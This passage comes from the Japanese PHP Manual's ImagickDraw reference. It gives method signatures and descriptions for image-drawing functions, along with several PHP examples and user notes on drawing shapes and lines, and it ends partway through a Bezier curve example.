  • PHP Manual
  • ImagickDraw
  • ImagickDraw コンストラクタ

ImagickDraw::__construct

(PECL imagick 2, PECL imagick 3)

ImagickDraw::__construct — ImagickDraw コンストラクタ

説明

public ImagickDraw::__construct ( )
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

ImagickDraw のコンストラクタです。

返り値

値を返しません。

User Contributed Notes

Anonymous 31-Mar-2009 02:59
To set up and output an image the very minimum:
<?php
$img = new Imagick();
$img->newImage( 200, 200, new ImagickPixel( 'lime' ) );
$img->setImageFormat( "png" );
header( "Content-Type: image/png" );
echo $img;
?>
Copy, paste; and if imagemagick is enabled it should come up with a lime colored square.


関連付けられたすべてのリソースを開放する

  • ≪ ImagickDraw::__construct
  • ImagickDraw::ellipse ≫
  • PHP Manual
  • ImagickDraw
  • 関連付けられたすべてのリソースを開放する

ImagickDraw::destroy

(PECL imagick 2, PECL imagick 3)

ImagickDraw::destroy — 関連付けられたすべてのリソースを開放する

説明

public ImagickDraw::destroy ( ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

この ImagickDraw オブジェクトに関連付けられたすべてのリソースを開放します。

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


画像上に楕円を描画する

  • ≪ ImagickDraw::destroy
  • ImagickDraw::getClipPath ≫
  • PHP Manual
  • ImagickDraw
  • 画像上に楕円を描画する

ImagickDraw::ellipse

(PECL imagick 2, PECL imagick 3)

ImagickDraw::ellipse — 画像上に楕円を描画する

説明

public ImagickDraw::ellipse ( float $ox , float $oy , float $rx , float $ry , float $start , float $end ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

画像上に楕円を描画します。

パラメータ

ox

oy

rx

ry

start

end

返り値

値を返しません。

例

例1 ImagickDraw::ellipse()

<?php
function ellipse($strokeColor, $fillColor, $backgroundColor) {

    $draw = new \ImagickDraw();
    $draw->setStrokeColor($strokeColor);
    $draw->setFillColor($fillColor);

    $draw->setStrokeWidth(2);
    $draw->setFontSize(72);

    $draw->ellipse(125, 70, 100, 50, 0, 360);
    $draw->ellipse(350, 70, 100, 50, 0, 315);

    $draw->push();
    $draw->translate(125, 250);
    $draw->rotate(30);
    $draw->ellipse(0, 0, 100, 50, 0, 360);
    $draw->pop();

    $draw->push();
    $draw->translate(350, 250);
    $draw->rotate(30);
    $draw->ellipse(0, 0, 100, 50, 0, 315);
    $draw->pop();

    $imagick = new \Imagick();
    $imagick->newImage(500, 500, $backgroundColor);
    $imagick->setImageFormat("png");

    $imagick->drawImage($draw);

    header("Content-Type: image/png");
    echo $imagick->getImageBlob();
}

?>

User Contributed Notes

Axeia 31-Mar-2009 02:10
<?php
/**
 * Please note that if you use a stroke. ( Imagick::setStrokeWidth( 2 ) ) the
 * stroke is drawn outside the ellipse dimensions.
 *
 * @param float $ox - Offset X, distance from the center of the ellipse till the left border of the image
 * @param float $oy - Offset Y, distance from the center of the ellipse till the top of the image
 * @param float $rx - X radius
 * @param float $ry - Y radius
 * @param float float $start - Starting angle in degrees.
 * @param float float $end - End angle in degrees.
 *
 */
ImagickDraw::ellipse( float $ox  , float $oy  , float $rx  , float $ry  , float $start  , float $end  );
?>

Example of drawing a full ellipse (from 0, 360) and outputting it as a PNG.
Do note, that this is  by default anti-aliased unlike the GD functions which only support it on lines that aren't on a transparent background.
<?php
$width =  200;
$height = 100;
$border = 2;

$img = new Imagick();
$img->newImage( $width, $height, new ImagickPixel( 'transparent' ) );

$draw = new ImagickDraw();
$draw->setStrokeColor( new ImagickPixel( 'black' ) );
$draw->setStrokeWidth( 2 );
$draw->setFillColor( new ImagickPixel( 'transparent' ) );
//Substract the border from the radius so it doesn't fall outside the screen.
$draw->ellipse( $width/2, $height/2, ($width/2)-$border, ($height/2)-$border, 0, 360 );
$img->drawImage( $draw );
$img->setImageFormat( "png" );

header( "Content-Type: image/png" );
echo $img;
?>


現在のクリッピングパスの ID を取得する

  • ≪ ImagickDraw::ellipse
  • ImagickDraw::getClipRule ≫
  • PHP Manual
  • ImagickDraw
  • 現在のクリッピングパスの ID を取得する

ImagickDraw::getClipPath

(PECL imagick 2, PECL imagick 3)

ImagickDraw::getClipPath — 現在のクリッピングパスの ID を取得する

説明

public ImagickDraw::getClipPath ( ) : string
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

現在のクリッピングパスの ID を取得します。

返り値

クリッピングパスの ID を含む文字列、あるいはパスが存在しない場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


現在の多角形塗りつぶしルールを返す

  • ≪ ImagickDraw::getClipPath
  • ImagickDraw::getClipUnits ≫
  • PHP Manual
  • ImagickDraw
  • 現在の多角形塗りつぶしルールを返す

ImagickDraw::getClipRule

(PECL imagick 2, PECL imagick 3)

ImagickDraw::getClipRule — 現在の多角形塗りつぶしルールを返す

説明

public ImagickDraw::getClipRule ( ) : int
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

クリッピングパスで使用されている、現在の多角形塗りつぶしルールを返します。

返り値

FILLRULE_ 定数のいずれかを返します。

User Contributed Notes

There are no user contributed notes for this page.


クリップパスの単位の解釈を返す

  • ≪ ImagickDraw::getClipRule
  • ImagickDraw::getFillColor ≫
  • PHP Manual
  • ImagickDraw
  • クリップパスの単位の解釈を返す

ImagickDraw::getClipUnits

(PECL imagick 2, PECL imagick 3)

ImagickDraw::getClipUnits — クリップパスの単位の解釈を返す

説明

public ImagickDraw::getClipUnits ( ) : int
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

クリップパスの単位の解釈を返します。

返り値

成功した場合に整数値を返します。

User Contributed Notes

There are no user contributed notes for this page.


塗りつぶし色を返す

  • ≪ ImagickDraw::getClipUnits
  • ImagickDraw::getFillOpacity ≫
  • PHP Manual
  • ImagickDraw
  • 塗りつぶし色を返す

ImagickDraw::getFillColor

(PECL imagick 2, PECL imagick 3)

ImagickDraw::getFillColor — 塗りつぶし色を返す

説明

public ImagickDraw::getFillColor ( ) : ImagickPixel
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

描画オブジェクトで使用する塗りつぶし色を返します。

返り値

ImagickPixel オブジェクトを返します。

User Contributed Notes

There are no user contributed notes for this page.


描画時の透過度を返す

  • ≪ ImagickDraw::getFillColor
  • ImagickDraw::getFillRule ≫
  • PHP Manual
  • ImagickDraw
  • 描画時の透過度を返す

ImagickDraw::getFillOpacity

(PECL imagick 2, PECL imagick 3)

ImagickDraw::getFillOpacity — 描画時の透過度を返す

説明

public ImagickDraw::getFillOpacity ( ) : float
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

色やテクスチャによる塗りつぶしの際の透過度を返します。 完全に不透過の場合は 1.0 となります。

返り値

透過度を返します。

User Contributed Notes

There are no user contributed notes for this page.


塗りつぶしルールを返す

  • ≪ ImagickDraw::getFillOpacity
  • ImagickDraw::getFont ≫
  • PHP Manual
  • ImagickDraw
  • 塗りつぶしルールを返す

ImagickDraw::getFillRule

(PECL imagick 2, PECL imagick 3)

ImagickDraw::getFillRule — 塗りつぶしルールを返す

説明

public ImagickDraw::getFillRule ( ) : int
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

多角形の描画時に使用する塗りつぶしルールを返します。

返り値

FILLRULE_ 定数を返します。

User Contributed Notes

There are no user contributed notes for this page.


フォントを返す

  • ≪ ImagickDraw::getFillRule
  • ImagickDraw::getFontFamily ≫
  • PHP Manual
  • ImagickDraw
  • フォントを返す

ImagickDraw::getFont

(PECL imagick 2, PECL imagick 3)

ImagickDraw::getFont — フォントを返す

説明

public ImagickDraw::getFont ( ) : string
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

テキストによる注記を行う際に使用するフォントを文字列で返します。

返り値

成功した場合に文字列、フォントが設定されていない場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


フォントファミリーを返す

  • ≪ ImagickDraw::getFont
  • ImagickDraw::getFontSize ≫
  • PHP Manual
  • ImagickDraw
  • フォントファミリーを返す

ImagickDraw::getFontFamily

(PECL imagick 2, PECL imagick 3)

ImagickDraw::getFontFamily — フォントファミリーを返す

説明

public ImagickDraw::getFontFamily ( ) : string
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

テキストによる注記を行う際に使用するフォントファミリーを返します。

返り値

現在選択されているフォントファミリー、 あるいはフォントファミリーが設定されていない場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


フォントのポイント数を返す

  • ≪ ImagickDraw::getFontFamily
  • ImagickDraw::getFontStretch ≫
  • PHP Manual
  • ImagickDraw
  • フォントのポイント数を返す

ImagickDraw::getFontSize

(PECL imagick 2, PECL imagick 3)

ImagickDraw::getFontSize — フォントのポイント数を返す

説明

public ImagickDraw::getFontSize ( ) : float
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

テキストによる注記を行う際に使用するフォントのポイント数を返します。

返り値

現在の ImagickDraw オブジェクトに関連付けられているフォントのサイズを返します。

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ≪ ImagickDraw::getFontSize
  • ImagickDraw::getFontStyle ≫
  • PHP Manual
  • ImagickDraw
  • Description

ImagickDraw::getFontStretch

(PECL imagick 2 >=2.3.0, PECL imagick 3)

ImagickDraw::getFontStretch — Description

説明

public ImagickDraw::getFontStretch ( ) : int

Gets the font stretch to use when annotating with text. Returns a StretchType.

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


フォントのスタイルを返す

  • ≪ ImagickDraw::getFontStretch
  • ImagickDraw::getFontWeight ≫
  • PHP Manual
  • ImagickDraw
  • フォントのスタイルを返す

ImagickDraw::getFontStyle

(PECL imagick 2, PECL imagick 3)

ImagickDraw::getFontStyle — フォントのスタイルを返す

説明

public ImagickDraw::getFontStyle ( ) : int
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

テキストによる注記を行う際に使用するフォントのスタイルを返します。

返り値

ImagickDraw オブジェクトに関連付けられたフォントのスタイルを表す定数 (STYLE_)、 あるいはスタイルが設定されていない場合に 0 を返します。

User Contributed Notes

There are no user contributed notes for this page.


フォントの重さを返す

  • ≪ ImagickDraw::getFontStyle
  • ImagickDraw::getGravity ≫
  • PHP Manual
  • ImagickDraw
  • フォントの重さを返す

ImagickDraw::getFontWeight

(PECL imagick 2, PECL imagick 3)

ImagickDraw::getFontWeight — フォントの重さを返す

説明

public ImagickDraw::getFontWeight ( ) : int
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

テキストによる注記を行う際に使用するフォントの重さを返します。

返り値

成功した場合に整数値、重さが設定されていない場合に 0 を返します。

User Contributed Notes

There are no user contributed notes for this page.


テキストの配置時の gravity を返す

  • ≪ ImagickDraw::getFontWeight
  • ImagickDraw::getStrokeAntialias ≫
  • PHP Manual
  • ImagickDraw
  • テキストの配置時の gravity を返す

ImagickDraw::getGravity

(PECL imagick 2, PECL imagick 3)

ImagickDraw::getGravity — テキストの配置時の gravity を返す

説明

public ImagickDraw::getGravity ( ) : int
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

テキストによる注記を行う際に使用するテキスト配置の gravity を返します。

返り値

成功した場合に GRAVITY_ 定数、gravity が設定されていない場合に 0 を返します。

User Contributed Notes

There are no user contributed notes for this page.


現在の縁取りのアンチエイリアス設定を返す

  • ≪ ImagickDraw::getGravity
  • ImagickDraw::getStrokeColor ≫
  • PHP Manual
  • ImagickDraw
  • 現在の縁取りのアンチエイリアス設定を返す

ImagickDraw::getStrokeAntialias

(PECL imagick 2, PECL imagick 3)

ImagickDraw::getStrokeAntialias — 現在の縁取りのアンチエイリアス設定を返す

説明

public ImagickDraw::getStrokeAntialias ( ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

現在の縁取りのアンチエイリアス設定を返します。 縁取りの枠線は、デフォルトでアンチエイリアス処理が行われます。 アンチエイリアスを無効にすると、 縁取りの描画時には縁取り色あるいはキャンバスの色のどちらかが用いられることになります。

返り値

アンチエイリアスがオンの場合に true、オフの場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


オブジェクトの縁取りに使用する色を返す

  • ≪ ImagickDraw::getStrokeAntialias
  • ImagickDraw::getStrokeDashArray ≫
  • PHP Manual
  • ImagickDraw
  • オブジェクトの縁取りに使用する色を返す

ImagickDraw::getStrokeColor

(PECL imagick 2, PECL imagick 3)

ImagickDraw::getStrokeColor — オブジェクトの縁取りに使用する色を返す

説明

public ImagickDraw::getStrokeColor ( ) : ImagickPixel
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

オブジェクトの縁取りに使用する色を返します。

パラメータ

stroke_color

返り値

色を表す ImagickPixel オブジェクトを返します。

User Contributed Notes

There are no user contributed notes for this page.


パスの描画に使用する破線のパターンを表す配列を返す

  • ≪ ImagickDraw::getStrokeColor
  • ImagickDraw::getStrokeDashOffset ≫
  • PHP Manual
  • ImagickDraw
  • パスの描画に使用する破線のパターンを表す配列を返す

ImagickDraw::getStrokeDashArray

(PECL imagick 2, PECL imagick 3)

ImagickDraw::getStrokeDashArray — パスの描画に使用する破線のパターンを表す配列を返す

説明

public ImagickDraw::getStrokeDashArray ( ) : array
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パスの描画に使用する破線のパターンを表す配列を返します。

返り値

成功した場合に配列、設定されていない場合は空の配列を返します。

User Contributed Notes

There are no user contributed notes for this page.


破線パターンにおける破線の開始オフセットを返す

  • ≪ ImagickDraw::getStrokeDashArray
  • ImagickDraw::getStrokeLineCap ≫
  • PHP Manual
  • ImagickDraw
  • 破線パターンにおける破線の開始オフセットを返す

ImagickDraw::getStrokeDashOffset

(PECL imagick 2, PECL imagick 3)

ImagickDraw::getStrokeDashOffset — 破線パターンにおける破線の開始オフセットを返す

説明

public ImagickDraw::getStrokeDashOffset ( ) : float
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

破線パターンにおける破線の開始オフセットを返します。

返り値

オフセットを表す float 値、あるいは設定されていない場合に 0 を返します。

User Contributed Notes

There are no user contributed notes for this page.


開かれたサブパスを描画する際に使用する端点の形状を返す

  • ≪ ImagickDraw::getStrokeDashOffset
  • ImagickDraw::getStrokeLineJoin ≫
  • PHP Manual
  • ImagickDraw
  • 開かれたサブパスを描画する際に使用する端点の形状を返す

ImagickDraw::getStrokeLineCap

(PECL imagick 2, PECL imagick 3)

ImagickDraw::getStrokeLineCap — 開かれたサブパスを描画する際に使用する端点の形状を返す

説明

public ImagickDraw::getStrokeLineCap ( ) : int
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

開かれたサブパスを描画する際に使用する端点の形状を返します。

返り値

LINECAP_ 定数のいずれか、あるいは設定されていない場合に 0 を返します。

User Contributed Notes

There are no user contributed notes for this page.


パスの角を描画する際に使用する形状を返す

  • ≪ ImagickDraw::getStrokeLineCap
  • ImagickDraw::getStrokeMiterLimit ≫
  • PHP Manual
  • ImagickDraw
  • パスの角を描画する際に使用する形状を返す

ImagickDraw::getStrokeLineJoin

(PECL imagick 2, PECL imagick 3)

ImagickDraw::getStrokeLineJoin — パスの角を描画する際に使用する形状を返す

説明

public ImagickDraw::getStrokeLineJoin ( ) : int
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パス (あるいはその他のベクター図形) の角を描画する際に使用する形状を返します。

返り値

LINEJOIN_ 定数のいずれか、あるいは設定されていない場合に 0 を返します。

User Contributed Notes

There are no user contributed notes for this page.


マイターリミットを返す

  • ≪ ImagickDraw::getStrokeLineJoin
  • ImagickDraw::getStrokeOpacity ≫
  • PHP Manual
  • ImagickDraw
  • マイターリミットを返す

ImagickDraw::getStrokeMiterLimit

(PECL imagick 2, PECL imagick 3)

ImagickDraw::getStrokeMiterLimit — マイターリミットを返す

説明

public ImagickDraw::getStrokeMiterLimit ( ) : int
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

マイターリミットを返します。 2 本の直線が小さい角度で連結され、かつ連結方法が 'lineJoin' に設定されている場合、 出来上がる線の角の部分が非常に長くなります。'miterLimit' は、miter length (角の長さ) と 'lineWidth' の比率の最大値です。

返り値

マイターリミットを表す整数値、あるいは マイターリミットが設定されていない場合に 0 を返します。

User Contributed Notes

There are no user contributed notes for this page.


オブジェクトの枠線の透明度を返す

  • ≪ ImagickDraw::getStrokeMiterLimit
  • ImagickDraw::getStrokeWidth ≫
  • PHP Manual
  • ImagickDraw
  • オブジェクトの枠線の透明度を返す

ImagickDraw::getStrokeOpacity

(PECL imagick 2, PECL imagick 3)

ImagickDraw::getStrokeOpacity — オブジェクトの枠線の透明度を返す

説明

public ImagickDraw::getStrokeOpacity ( ) : float
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

オブジェクトの枠線の透明度を返します。

返り値

透明度を表す double 値を返します。

User Contributed Notes

There are no user contributed notes for this page.


オブジェクトの枠線の描画に使用する線の幅を返す

  • ≪ ImagickDraw::getStrokeOpacity
  • ImagickDraw::getTextAlignment ≫
  • PHP Manual
  • ImagickDraw
  • オブジェクトの枠線の描画に使用する線の幅を返す

ImagickDraw::getStrokeWidth

(PECL imagick 2, PECL imagick 3)

ImagickDraw::getStrokeWidth — オブジェクトの枠線の描画に使用する線の幅を返す

説明

public ImagickDraw::getStrokeWidth ( ) : float
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

オブジェクトの枠線の描画に使用する線の幅を返します。

返り値

線幅を表す double 値を返します。

User Contributed Notes

There are no user contributed notes for this page.


テキストの配置を返す

  • ≪ ImagickDraw::getStrokeWidth
  • ImagickDraw::getTextAntialias ≫
  • PHP Manual
  • ImagickDraw
  • テキストの配置を返す

ImagickDraw::getTextAlignment

(PECL imagick 2, PECL imagick 3)

ImagickDraw::getTextAlignment — テキストの配置を返す

説明

public ImagickDraw::getTextAlignment ( ) : int
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

テキストによる注記を行う際の配置を返します。

返り値

ALIGN_ 定数のいずれか、あるいは設定されていない場合に 0 を返します。

User Contributed Notes

moguchicorp at gmail dot com 14-Mar-2011 03:05
check ImagickDraw::SetTextAlignment notes for examples and constants values

http://php.net/manual/en/function.imagickdraw-settextalignment.php


現在のテキストのアンチエイリアス設定を返す

  • ≪ ImagickDraw::getTextAlignment
  • ImagickDraw::getTextDecoration ≫
  • PHP Manual
  • ImagickDraw
  • 現在のテキストのアンチエイリアス設定を返す

ImagickDraw::getTextAntialias

(PECL imagick 2, PECL imagick 3)

ImagickDraw::getTextAntialias — 現在のテキストのアンチエイリアス設定を返す

説明

public ImagickDraw::getTextAntialias ( ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

現在のテキストのアンチエイリアス設定を返します。 これは、テキストのアンチエイリアス処理を行うかどうかを表すものです。 デフォルトでは、テキストのアンチエイリアス処理が行われます。

返り値

テキストをアンチエイリアス処理する場合に true、しない場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


テキストの装飾を返す

  • ≪ ImagickDraw::getTextAntialias
  • ImagickDraw::getTextEncoding ≫
  • PHP Manual
  • ImagickDraw
  • テキストの装飾を返す

ImagickDraw::getTextDecoration

(PECL imagick 2, PECL imagick 3)

ImagickDraw::getTextDecoration — テキストの装飾を返す

説明

public ImagickDraw::getTextDecoration ( ) : int
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

テキストによる注記を行う際に適用する装飾を返します。

返り値

DECORATION_ 定数のいずれか、あるいは装飾が設定されていない場合に 0 を返します。

User Contributed Notes

There are no user contributed notes for this page.


テキストによる注記の際に使用するコードセットを返す

  • ≪ ImagickDraw::getTextDecoration
  • ImagickDraw::getTextInterlineSpacing ≫
  • PHP Manual
  • ImagickDraw
  • テキストによる注記の際に使用するコードセットを返す

ImagickDraw::getTextEncoding

(PECL imagick 2, PECL imagick 3)

ImagickDraw::getTextEncoding — テキストによる注記の際に使用するコードセットを返す

説明

public ImagickDraw::getTextEncoding ( ) : string
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

テキストによる注記を行う際に使用するコードセットを表す文字列を返します。

返り値

コードセットを表す文字列、 あるいはエンコーディングが設定されていない場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ≪ ImagickDraw::getTextEncoding
  • ImagickDraw::getTextInterwordSpacing ≫
  • PHP Manual
  • ImagickDraw
  • Description

ImagickDraw::getTextInterlineSpacing

(PECL imagick 3 >= 3.1.0)

ImagickDraw::getTextInterlineSpacing — Description

説明

public ImagickDraw::getTextInterlineSpacing ( ) : float

Gets the text interword spacing.

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ≪ ImagickDraw::getTextInterlineSpacing
  • ImagickDraw::getTextKerning ≫
  • PHP Manual
  • ImagickDraw
  • Description

ImagickDraw::getTextInterwordSpacing

(PECL imagick 2 >= 2.3.0, PECL imagick 3 >= 3.1.0)

ImagickDraw::getTextInterwordSpacing — Description

説明

public ImagickDraw::getTextInterwordSpacing ( ) : float

Gets the text interword spacing.

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ≪ ImagickDraw::getTextInterwordSpacing
  • ImagickDraw::getTextUnderColor ≫
  • PHP Manual
  • ImagickDraw
  • Description

ImagickDraw::getTextKerning

(PECL imagick 2 >= 2.3.0, PECL imagick 3 >= 3.1.0)

ImagickDraw::getTextKerning — Description

説明

public ImagickDraw::getTextKerning ( ) : float

Gets the text kerning.

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


テキストの背景色を返す

  • ≪ ImagickDraw::getTextKerning
  • ImagickDraw::getVectorGraphics ≫
  • PHP Manual
  • ImagickDraw
  • テキストの背景色を返す

ImagickDraw::getTextUnderColor

(PECL imagick 2, PECL imagick 3)

ImagickDraw::getTextUnderColor — テキストの背景色を返す

説明

public ImagickDraw::getTextUnderColor ( ) : ImagickPixel
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

テキストによる注記の背景に置く矩形の色を返します。

返り値

色を表す ImagickPixel オブジェクトを返します。

User Contributed Notes

There are no user contributed notes for this page.


ベクターグラフィックを含む文字列を返す

  • ≪ ImagickDraw::getTextUnderColor
  • ImagickDraw::line ≫
  • PHP Manual
  • ImagickDraw
  • ベクターグラフィックを含む文字列を返す

ImagickDraw::getVectorGraphics

(PECL imagick 2, PECL imagick 3)

ImagickDraw::getVectorGraphics — ベクターグラフィックを含む文字列を返す

説明

public ImagickDraw::getVectorGraphics ( ) : string
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

ImagickDraw オブジェクトのインスタンスが作成された後で、 グラフィックメソッドのコールによってできあがったベクターグラフィックを文字列で返します。

返り値

ベクターグラフィックを文字列で返します。

User Contributed Notes

There are no user contributed notes for this page.


直線を描画する

  • ≪ ImagickDraw::getVectorGraphics
  • ImagickDraw::matte ≫
  • PHP Manual
  • ImagickDraw
  • 直線を描画する

ImagickDraw::line

(PECL imagick 2, PECL imagick 3)

ImagickDraw::line — 直線を描画する

説明

public ImagickDraw::line ( float $sx , float $sy , float $ex , float $ey ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

現在の描画色、透明度そして線幅を使用して画像上に直線を描画します。

パラメータ

sx

開始位置の x 座標。

sy

開始位置の y 座標。

ex

終了位置の x 座標。

ey

終了位置の y 座標。

返り値

値を返しません。

例

例1 ImagickDraw::line()

<?php
function line($strokeColor, $fillColor, $backgroundColor) {

    $draw = new \ImagickDraw();

    $draw->setStrokeColor($strokeColor);
    $draw->setFillColor($fillColor);

    $draw->setStrokeWidth(2);
    $draw->setFontSize(72);

    $draw->line(125, 70, 100, 50);
    $draw->line(350, 170, 100, 150);

    $imagick = new \Imagick();
    $imagick->newImage(500, 500, $backgroundColor);
    $imagick->setImageFormat("png");
    $imagick->drawImage($draw);

    header("Content-Type: image/png");
    echo $imagick->getImageBlob();
}

?>

User Contributed Notes

GaryM at BinaryFarm dot com 24-Feb-2010 11:48
<?php

// a twist on the above radar screen.
// This makes random colored spokes from a center point

    $width =  400;
    $height = 400;

    $image = new Imagick();
    $image->newImage( $width, $height, new ImagickPixel( 'wheat' ) );
    $draw = new ImagickDraw();
   //$draw->setStrokeColor( new ImagickPixel( 'black' ) );

    $rx = $width / 2;
    $ry = $height / 2;
    $total = 2*M_PI;
    $part = $total / 16;
    while( $total > 0  )
    {
        $ex = $rx +$rx * sin( $total );
        $ey = $ry +$ry * cos( $total );
        $draw->line  ( $rx, $ry, $ex, $ey );
        $total -= $part;

    // We need three HEX numbers to create an RGB color code like '#FF33DD'.

    $draw->setStrokeColor( get_random_color() );
    }
    $image->drawImage( $draw );
    $image->setImageFormat( "png" );
    header( "Content-Type: image/png" );
    echo $image;
    exit;

function get_random_color()        // Thanks to Greg R. for this nice little function.
{
    for ($i = 0; $i<6; $i++)
    {
        $c .=  dechex(rand(0,15));
    }
    return "#$c";
}
?>


画像の opacity チャネル上に描画する

  • ≪ ImagickDraw::line
  • ImagickDraw::pathClose ≫
  • PHP Manual
  • ImagickDraw
  • 画像の opacity チャネル上に描画する

ImagickDraw::matte

(PECL imagick 2, PECL imagick 3)

ImagickDraw::matte — 画像の opacity チャネル上に描画する

説明

public ImagickDraw::matte ( float $x , float $y , int $paintMethod ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

画像の opacity チャネル上に描画し、ピクセルの透過度に影響を与えます。

パラメータ

x

マットの x 座標。

y

マットの y 座標。

paintMethod

PAINT_ 定数。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 ImagickDraw::matte()

<?php
function matte($strokeColor, $fillColor, $backgroundColor, $paintType) {
    $draw = new \ImagickDraw();

    $draw->setStrokeColor($strokeColor);
    $draw->setFillColor($fillColor);

    $draw->setStrokeWidth(2);
    $draw->setFontSize(72);

    $draw->matte(120, 120, $paintType);
    $draw->rectangle(100, 100, 300, 200);

    $imagick = new \Imagick();
    $imagick->newImage(500, 500, $backgroundColor);
    $imagick->setImageFormat("png");
    $imagick->drawImage($draw);

    header("Content-Type: image/png");
    echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


パス要素を現在のパスに追加する

  • ≪ ImagickDraw::matte
  • ImagickDraw::pathCurveToAbsolute ≫
  • PHP Manual
  • ImagickDraw
  • パス要素を現在のパスに追加する

ImagickDraw::pathClose

(PECL imagick 2, PECL imagick 3)

ImagickDraw::pathClose — パス要素を現在のパスに追加する

説明

public ImagickDraw::pathClose ( ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パス要素を現在のパスに追加し、 現在の点から現在のサブパスの直近の開始点 (通常は、直近の moveto の点となります) に直線を引くことで現在のパスを閉じます。

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


三次ベジエ曲線を描画する

  • ≪ ImagickDraw::pathClose
  • ImagickDraw::pathCurveToQuadraticBezierAbsolute ≫
  • PHP Manual
  • ImagickDraw
  • 三次ベジエ曲線を描画する

ImagickDraw::pathCurveToAbsolute

(PECL imagick 2, PECL imagick 3)

ImagickDraw::pathCurveToAbsolute — 三次ベジエ曲線を描画する

説明

public ImagickDraw::pathCurveToAbsolute ( float $x1 , float $y1 , float $x2 , float $y2 , float $x , float $y ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

現在の点から (x,y) までの三次ベジエ曲線を描画します。 曲線の開始位置の制御点を (x1,y1)、終了位置の制御点を (x2,y2) とし、それぞれ絶対座標で指定します。このコマンドが終了した後は、 現在の位置は polybezier が使用する最後の (x,y) 座標の組となります。

パラメータ

x1

最初の制御点の x 座標。

y1

最初の制御点の y 座標。

x2

2 番目の制御点の x 座標。

y2

2 番目の制御点の y 座標。

x

終点の x 座標。

y

終点の y 座標。

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


二次ベジエ曲線を描画する

  • ≪ ImagickDraw::pathCurveToAbsolute
  • ImagickDraw::pathCurveToQuadraticBezierRelative ≫
  • PHP Manual
  • ImagickDraw
  • 二次ベジエ曲線を描画する

ImagickDraw::pathCurveToQuadraticBezierAbsolute

(PECL imagick 2, PECL imagick 3)

ImagickDraw::pathCurveToQuadraticBezierAbsolute — 二次ベジエ曲線を描画する

説明

public ImagickDraw::pathCurveToQuadraticBezierAbsolute ( float $x1 , float $y1 , float $x , float $y ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

現在の点から (x,y) までの二次ベジエ曲線を描画します。 制御点を (x1,y1) とし、絶対座標で指定します。このコマンドが終了した後は、 現在の位置は polybezier が使用する最後の (x,y) 座標の組となります。

パラメータ

x1

制御点の x 座標。

y1

制御点の y 座標。

x

終点の x 座標。

y

終点の y 座標。

返り値

値を返しません。

例

例1 ImagickDraw::pathCurveToQuadraticBezierAbsolute()

<?php
function pathCurveToQuadraticBezierAbsolute($strokeColor, $fillColor, $backgroundColor) {

    $draw = new \ImagickDraw();

    $draw->setStrokeOpacity(1);
    $draw->setStrokeColor($strokeColor);
    $draw->setFillColor($fillColor);

    $draw->setStrokeWidth(2);
    $draw->setFontSize(72);

    $draw->pathStart();
    $draw->pathMoveToAbsolute(50,250);

    // This specifies a quadratic bezier curve with the current position as the start
    // point, the control point is the first two params, and the end point is the last two params.
